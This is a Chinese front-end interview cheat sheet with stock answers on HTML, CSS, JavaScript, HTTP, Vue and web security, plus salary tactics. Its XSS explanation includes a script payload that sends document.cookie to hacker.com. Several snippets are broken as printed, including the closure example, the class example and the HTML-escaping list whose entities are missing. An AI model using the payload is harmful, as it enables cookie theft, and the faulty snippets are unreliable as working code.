配合以下文章一起觀看

• 《互聯(lián)網(wǎng)公司招聘啟事的正確閱讀方式》
  https://zhuanlan.zhihu.com/p/33998813
• 前端面試記
  https://juejin.im/post/587dab348d6d810058d87a0a

純應試向押題

大部分答案可以在谷歌上搜到。

套路
舉例
將不會的變成會的
侃侃而談

HTML 押題

（必考） 你是如何理解 HTML 語義化的？

• 第一種舉例，段落用 p，邊欄用 aside，主要內(nèi)容用 main 標簽
• 第二種
  最開始是 PHP 后端寫 HTML，不會 CSS，于是就用 table 來布局。table 使用展示表格的。嚴重違反了 HTML 語義化。
  后來有了專門的寫 CSS 的前端，他們會使用 DIV + CSS 布局，主要是用 float 和絕對定位布局。稍微符合了 HTML 語義化。
  再后來，前端專業(yè)化，知道 HTML 的各個標簽的用法，于是會使用恰當?shù)臉撕瀬碚故緝?nèi)容，而不是傻傻的全用 div，會盡量使用 h1、ul、p、main、header 等標簽
  語義化的好處是已讀、有利于SEO等。
• 第三種：對面試官說請看我的博客 https://zhuanlan.zhihu.com/p/32570423

meta viewport 是做什么用的，怎么寫？

死背： <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
控制頁面在移動端不要縮小顯示。
侃侃而談

一開始，所有頁面都是給PC準備的，喬布斯推出 iPhone 3GS，頁面是不適應手機屏幕的，所以喬布斯的工程師想了一個辦法，默認把手機模擬成 980px，頁面縮小。后來，智能手機普及，這個功能在部分網(wǎng)站不需要了，所以我們就用 meta:vp 讓手機不要縮小我的網(wǎng)頁。

canvas 元素是干什么的？

<canvas> 是 HTML5 新增的元素，可用于通過使用JavaScript中的腳本來繪制圖形。例如，它可以用于繪制圖形，制作照片，創(chuàng)建動畫，甚至可以進行實時視頻處理或渲染。
項目丟給他。
看 MDN 的 canvas 入門手冊,https://developer.mozilla.org/zh-CN/docs/Web/API/Canvas_API

CSS 押題

(必考） 說說盒模型。

舉例：
content-box: width == 內(nèi)容區(qū)寬度
border-box: width == 內(nèi)容區(qū)寬度 + padding 寬度 + border 寬度

css reset 和 normalize.css 有什么區(qū)別？

考英文：
reset 重置，之前的樣式我不要，a{color: red;}，拋棄默認樣式
normalize 讓所有瀏覽器的標簽都跟標準規(guī)定的默認樣式一致，各瀏覽器上的標簽默認樣式基本統(tǒng)一。

（必考）如何居中？

平時總結：

• 水平居中：
  內(nèi)聯(lián)：爸爸身上寫 text-align:center;
  塊級：margin-left: auto; margin-right: auto;
• 垂直居中： https://jscode.me/t/topic/1936

選擇器優(yōu)先級如何確定？

選擇器越具體，優(yōu)先級越高。 #xxx 大于 .yyy
同樣優(yōu)先級，寫在后面的覆蓋前面的。
color: red !important; 優(yōu)先級最高。

BFC 是什么？

舉例：包住子元素，相鄰元素界限分明
overflow:hidden 清除浮動。（方方總是用 .clearfix 清除浮動，堅決不用 overflow:hidden 清除浮動）
overflow:hidden 取消父子 margin 合并。http://jsbin.com/conulod/1/edit?html,css,js,output （方方用 padding-top: 1px;）

如何清除浮動？

• overflow: hidden （方方反對）
• .clearfix 清除浮動寫在爸爸身上

    .clearfix::after{
        content: ''; display: block; clear:both;
    }
    .clearfix{
        zoom: 1; /* IE 兼容 */
    }

JS 押題

JS 有哪些數(shù)據(jù)類型？

• string number boolean undefined null object symbol
• object 包括了數(shù)組、函數(shù)、正則、日期等對象
  (一旦出現(xiàn)數(shù)組、函數(shù)、正則、日期、NaN直接0分)

（必考） Promise 怎么使用？

• then

  $.ajax(...).then(成功函數(shù), 失敗函數(shù))

• 鏈式 then

  $.ajax(...).then(成功函數(shù), 失敗函數(shù)).then(成功函數(shù)2, 失敗函數(shù)2)

• 如何自己生成 Promise 對象

  function xxx(){
      return new Promise(function(resolve, reject){
          setTimeout(()=>{
              resolve() 或者 reject()
          },3000)
      })
  }
  xxx().then(...)

（必考） AJAX 手寫一下？

 let xhr = new XMLHttpRequest()
 xhr.open('POST', '/xxxx')
 xhr.onreadystatechange = function(){
     if(xhr.readyState === 4 && xhr.status === 200){
         console.log(xhr.responseText)
     }
 }
 xhr.send('a=1&b=2')

（必考）閉包是什么？

執(zhí)行環(huán)境中函數(shù)內(nèi)調用外部變量；使得有權訪問另一個函數(shù)作用域內(nèi)變量的函數(shù)都是閉包。

 function (){
     var n = 0
     return function(){
         n += 1
     }
 }

 let  adder = ()
 adder() // n === 1
 adder() // n === 2
 console.log(n) // n is not defined

正確參考：https://zhuanlan.zhihu.com/p/22486908

（必考）這段代碼里的 this 是什么？

fn() 里面的 this 就是 window
fn() 是 strict mode，this 就是 undefined
a.b.c.fn() 里面的 this 就是 a.b.c
new F() 里面的 this 就是新生成的實例
() => console.log(this) 里面 this 跟外面的 this 的值一模一樣
正確參考：https://zhuanlan.zhihu.com/p/23804247

（必考）什么是立即執(zhí)行函數(shù)？使用立即執(zhí)行函數(shù)的目的是什么？

• 造出一個函數(shù)作用域，防止污染全局變量

 ;(function (){
     var name
 }())
 ;(function (){
     var name
 })()
 !!!!!!!function (){
     var name
 }()
 ~function (){
     var name
 }()

• ES 6 新語法 {let name}

如何實現(xiàn)深拷貝？

• JSON 來深拷貝
  var a = {...}
  var b = JSON.parse( JSON.stringify(a) )
  缺點：JSON 不支持函數(shù)、引用、undefined、RegExp、Date……
• 遞歸拷貝

 function clone(object){
     var object2
     if(! (object instanceof Object) ){
         return object
     }else if(object instanceof Array){
         object2 = []
     }else if(object instanceof Function){
         object2 = eval(object.toString())
     }else if(object instanceof Object){
         object2 = {}
     }
     你也可以把 Array Function Object 都當做 Object 來看待，參考 https://juejin.im/post/587dab348d6d810058d87a0a
     for(let key in object){
         object2[key] = clone(object[key])
     }
     return object2
 }

• RegExp、Date、Set、Symbol、WeakMap

如何實現(xiàn)數(shù)組去重？

• 計數(shù)排序的邏輯（只能正整數(shù)）

var a = [4,2,5,6,3,4,5]
 var hashTab = {}
 for(let i=0; i<a.length;i++){
     if(a[i] in hashTab){
         // 什么也不做
     }else{
         hashTab[ a[i] ] = true
     }
 }
 //hashTab: {4: true, 2: true, 5: true, 6:true, 3: true}
 console.log(Object.keys(hashTab)) // ['4','2','5','6','3']

• Set 去重
  Array.from(new Set(a))

• WeakMap 任意類型去重

如何用正則實現(xiàn) string.trim() ？

 function trim(string){
     return string.replace(/^\s+|\s+$/g, '')
 }

JS 原型是什么？

• 舉例
  var a = [1,2,3]
  只有0、1、2、length 4 個key
  為什么可以 a.push(4) ，push 是哪來的？
  a.proto === Array.prototype
  push 就是沿著 a.proto 找到的，也就是 Array.prototype.push
  Array.prototype 還有很多方法，如 join、pop、slice、splice
  Array.prototype 就是 a 的原型（proto）
  參考：https://zhuanlan.zhihu.com/p/23090041

ES 6 中的 class 了解嗎？

聲明創(chuàng)建一個基于原型繼承的具有給定名稱的新類。重復聲明一個類會引起類型錯誤。
把 MDN class 章節(jié)看完，https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Statements/class
記住一個例子

class Polygon {
  constructor(height, width) {
    this.name = 'Polygon';
    this.height = height;
    this.width = width;
  }
}

class Square extends Polygon {
  constructor(length) {
    super(length, length);
    this.name = 'Square';
  }
}

JS 如何實現(xiàn)繼承？

• 原型鏈

function Animal(){
      this.body = '肉體'
  }
  Animal.prototype.move = function(){

  }

  function Human(name){
      Animal.apply(this, arguments)
      this.name = name
  }
  // Human.prototype.__proto__ = Animal.prototype // 非法

  var f = function(){}
  f.prototype = Animal.prototype
  Human.prototype = new f()

  Human.prototype.useTools = function(){}

  var frank = new Human()

• extends 關鍵字

 class Animal{
      constructor(){
          this.body = '肉體'
      },
      move(){}
  }
  class Human extends Animal{
      constructor(name){
          super()
          this.name = name
      },
      useTools(){}
  }
  var frank = new Human()

== 相關題目直接反著答（放棄）

DOM 押題

DOM 事件模型是什么？

• 冒泡
• 捕獲
• 如果這個元素是被點擊的元素，那么捕獲不一定在冒泡之前，順序是由監(jiān)聽順序決定的。

移動端的觸摸事件了解嗎？

• touchstart touchmove touchend touchcancel
• 模擬 swipe 事件：記錄兩次 touchmove 的位置差，如果后一次在前一次的右邊，說明向右滑了。

事件委托是什么？有什么好處？

• 假設父元素有4個兒子，我不監(jiān)聽4個兒子，而是監(jiān)聽父元素，看觸發(fā)事件的元素是哪個兒子，這就是事件委托。
• 可以監(jiān)聽還沒有出生的兒子（動態(tài)生成的元素）。省監(jiān)聽器。

function listen(element, eventType, selector, fn){
 element.addEventListener(eventType, e=>{
     if(e.target.matches(selector)){
         fn.call(el, e, el)
     }
 })
}
// 有 bug 但是可以應付面試官的事件委托

HTTP 押題

HTTP 狀態(tài)碼知道哪些？

1xx開頭 - 信息提示
2開頭 （請求成功）
3 開頭 （請求被重定向）
4開頭 （請求錯誤）
5開頭（服務器錯誤）

301 和 302 的區(qū)別是什么？

301 永久重定向，瀏覽器會記住
302 臨時重定向

HTTP 緩存怎么做？

Cache-Control: max-age=300
http://cdn.com/1.js?v=1 避開緩存

Cache-Control 和 Etag 的區(qū)別是什么？

Cookie 是什么？Session 是什么？

• Cookie
  HTTP響應通過 Set-Cookie 設置 Cookie
  瀏覽器訪問指定域名是必須帶上 Cookie 作為 Request Header
  Cookie 一般用來記錄用戶信息
• Session
  Session 是服務器端的內(nèi)存（數(shù)據(jù)）
  Session 一般通過在 Cookie 里記錄 SessionID 實現(xiàn)
  SessionID 一般是隨機數(shù)

LocalStorage 和 Cookie 的區(qū)別是什么？

• Cookie 會隨請求被發(fā)到服務器上，而 LocalStorage 不會
• Cookie 大小一般4k以下，LocalStorage 一般5Mb 左右

（必考）GET 和 POST 的區(qū)別是什么？

• 參數(shù)。GET 的參數(shù)放在 url 的查詢參數(shù)里，POST 的參數(shù)（數(shù)據(jù)）放在請求消息體里。
• 安全（扯淡）。GET 沒有 POST 安全（都不安全）
• GET 的參數(shù)（url查詢參數(shù)）有長度限制，一般是 1024 個字符。POST 的參數(shù)（數(shù)據(jù)）相對沒有長度限制（扯淡，4~10Mb 限制）
• 包。GET 請求只需要發(fā)一個包，POST 請求需要發(fā)兩個以上包（因為 POST 有消息體）（扯淡，GET 也可以用消息體）
• GET 用來讀數(shù)據(jù)，POST 用來寫數(shù)據(jù)，POST 不冪等（冪等的意思就是不管發(fā)多少次請求，結果都一樣。）

（必考）怎么跨域？JSONP 是什么？CORS 是什么？postMessage 是什么？

JSONP http://www.itdecent.cn/p/4043689bf065
CORS http://www.itdecent.cn/p/f3722cb28a82
postMessage https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage

Vue 押題

（必考）Vue 有哪些生命周期鉤子函數(shù)？

看文檔：https://cn.vuejs.org/v2/api/#%E9%80%89%E9%A1%B9-%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E9%92%A9%E5%AD%90

（必考）Vue 如何實現(xiàn)組件通信？

父子通信（使用 Prop 傳遞數(shù)據(jù)、使用 v-on 綁定自定義事件）
爺孫通信（通過兩對父子通信，爺爸之間父子通信，爸兒之間父子通信）
兄弟通信（new Vue() 作為 eventBus），https://cn.vuejs.org/v2/guide/state-management.html

Vuex 的作用是什么？

看文檔、博客 https://vuex.vuejs.org/zh-cn/intro.html

VueRouter 路由是什么？

看文檔、博客 https://router.vuejs.org/zh/

Vue 的雙向綁定是如何實現(xiàn)的？有什么缺點？

看文檔，深入響應式原理 https://cn.vuejs.org/v2/guide/reactivity.html

Computed 計算屬性的用法？跟 Methods 的區(qū)別。

https://zhuanlan.zhihu.com/p/33778594

算法押題

• 排序算法（背誦冒泡排序、選擇排序、計數(shù)排序、快速排序、插入排序、歸并排序）
• 二分查找法
• 翻轉二叉樹

安全押題

什么是 XSS 攻擊？如何預防？

• 舉例
  div.innerHTML = userComment // userComment 內(nèi)容是 <script>$.get('http://hacker.com?cookie='+document.cookie)</script>
  // 惡意就被執(zhí)行了，這就是 XSS
• 預防
  • 不要使用 innerHTML，改成 innerText，script 就會被當成文本，不執(zhí)行
  • 如果你一樣要用 innerHTML，字符過濾
    把 < 替換成 <
    把 > 替換成 >
    把 & 替換成 &
    把 ' 替換成 '
    把 ' 替換成 "
  • 代碼 div.innerHTML = userComment.replace(/>/g, '<').replace...
  • 使用 CSP Content Security Policy

什么是 CSRF 攻擊？如何預防？

• 過程
  用戶在 qq.com 登錄
  用戶切換到 hacker.com（惡意網(wǎng)站）
  hacker.com 發(fā)送一個 qq.com/add_friend 請求，讓當前用戶添加 hacker 為好友。
  用戶在不知不覺中添加 hacker 為好友。
  用戶沒有想發(fā)這個請求，但是 hacker 偽造了用戶發(fā)請求的假象。
• 避免
  檢查 referer，qq.com 可以拒絕來自 hacker.com 的請求
  csrf_token 來解決

Webpack 題

轉譯出的文件過大怎么辦？

使用 code split
寫法 import('xxx').then(xxx=>{console.log(xxx)})
xxx 模塊就是按需加載的

轉譯速度慢什么辦？

方方不會。

寫過 webpack loader 嗎？

http://www.alloyteam.com/2016/01/webpack-loader-1/

發(fā)散題

從輸入 URL 到頁面展現(xiàn)中間發(fā)生了什么？

• DNS 查詢 DNS 緩存
• 建立 TCP 連接（三次握手）連接復用
• 發(fā)送 HTTP 請求（請求的四部分）
• 后臺處理請求
  監(jiān)聽 80 端口
  路由
  渲染 HTML 模板
  生成響應
• 發(fā)送 HTTP 響應
• 關閉 TCP 連接（四次揮手）
• 解析 HTML
• 下載 CSS（緩存
• 解析 CSS
• 下載 JS（緩存
• 解析 JS
• 下載圖片
• 解析圖片
• 渲染 DOM 樹
• 渲染樣式樹
• 執(zhí)行 JS

你沒有工作經(jīng)歷嗎？

一開始就問，可以拜拜。
中間問最后問，他想壓價。
解法：用項目打動它：你看下我的作品，跟一年經(jīng)驗的前端差距大嗎？你們團隊一年工作經(jīng)驗的前端，寫的出來我這樣的作品嗎？憑我的作品，我覺得我可以勝任貴司的工作。

你遇到過最難的問題是什么？

https://www.zhihu.com/question/35323603/answer/338796153

你的期望薪資是多少？

你想要的工資 加 1000~2000。

（任何你不會的問題）

承認不會
詢問詳細細節(jié)：你問的是不是XXX方面的知識？請問你想問的是哪方面知識？
根據(jù)面試官的回答，向有利于自己的方向引導話題。

刁鉆代碼題

map加parseInt

[1,2,3].map(parseInt)

parseInt(1,0, array) // 1
parseInt(2,1, array) // NaN
parseInt(3,2, array) // NaN

a.x = a = {}

var a = {n:1};
var b = a;
a.x = a = {n:2};

問 a.x 是多少？

(a ==1 && a== 2 && a==3) 可能為 true 嗎？
a = {
value: 0,
toString(){
a.value += 1
return a.value
}
}